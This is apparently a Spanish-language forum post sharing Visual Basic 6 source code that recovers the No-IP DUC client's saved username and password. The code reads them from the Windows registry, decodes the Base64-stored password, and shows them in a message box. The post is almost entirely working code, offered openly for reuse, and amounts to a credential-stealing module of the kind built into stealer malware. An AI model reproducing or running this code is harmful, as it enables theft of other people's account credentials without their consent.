[SRC] NO-IP, sacar constraseña y usuario...

[Karcrack]

Código (vb) [Seleccionar] Expandir

'--------------------------------------------------------------------------------------------
' Module    : mNO_IP
' Author  : Karcrack
' Date      : 03/11/2009
' Purpose   : Retrieve No-IP DUC user & password
' Thanks    :
'       Cobein  :   Original code                (http://www.advancevb.com.ar/?p=247)
'       VBSpeed :   Original Decode64 function  (http://www.xbeat.net/vbspeed/c_Base64Dec.htm)
'---------------------------------------------------------------------------------------------

Option Explicit

Private Declare Function RegOpenKey Lib "ADVAPI32" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32" (ByVal hKey As Long) As Long

Public Function GetNO_IP(ByRef sUser As String, ByRef sPass As String) As Boolean
   Dim lhKey           As Long
   Dim sBuffer         As String * 512
   
   If Not RegOpenKey(&H80000002, "Software\Vitalwerks\DUC", lhKey) Then
       If RegQueryValueEx(lhKey, "Username", 0, 0, ByVal sBuffer, 512) = 0 Then
           sUser = Left$(sBuffer, lstrlen(sBuffer))
       End If
       If RegQueryValueEx(lhKey, "Password", 0, 0, ByVal sBuffer, 512) = 0 Then
           sPass = Decode64(Left$(sBuffer, lstrlen(sBuffer)))
       End If
       GetNO_IP = CBool(Len(sUser) And Len(sPass))
       Call RegCloseKey(lhKey)
   End If
End Function

Private Function Decode64(ByVal Base64String As String) As String
   Dim Enc()           As Byte
   Dim b()             As Byte
   Dim Out()           As Byte
   Dim Dec(255)        As Byte
   Dim i               As Long
   Dim j               As Long
   Dim L               As Long
   
   Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
   For i = 0 To 255:   Dec(i) = 64:        Next i
   For i = 0 To 63:    Dec(Enc(i)) = i:    Next i
   
   L = Len(Base64String)
   b = StrConv(Base64String, vbFromUnicode)
   
   ReDim Preserve Out(0 To (L \ 4) * 3 - 1)
   For i = 0 To UBound(b) - 1 Step 4
       Out(j) = (Dec(b(i)) * 4) Or (Dec(b(i + 1)) \ 16): j = j + 1
       Out(j) = (Dec(b(i + 1)) And 15) * 16 Or (Dec(b(i + 2)) \ 4): j = j + 1
       Out(j) = (Dec(b(i + 2)) And 3) * 64 Or Dec(b(i + 3)): j = j + 1
   Next i

   ReDim Preserve Out(0 To UBound(Out) - IIf((b(L - 2) = 61), 2, IIf((b(L - 1) = 61), 1, 0)))
   Decode64 = StrConv(Out, vbUnicode)
End Function

Private Function lstrlen(ByVal sStr As String) As Long
   lstrlen = InStr(1, sStr & Chr$(0), Chr$(0)) - 1
End Function
Ejemplo:

Código (vb) [Seleccionar] Expandir

    Dim U       As String
    Dim P       As String
   
    If GetNO_IP(U, P) = True Then
        MsgBox "Usuario:" & U & vbCrLf & "Password:" & P
    End If

Simplemente he 'mejorado' la version del codigo original de Cobein, leer los creditos para mas informacion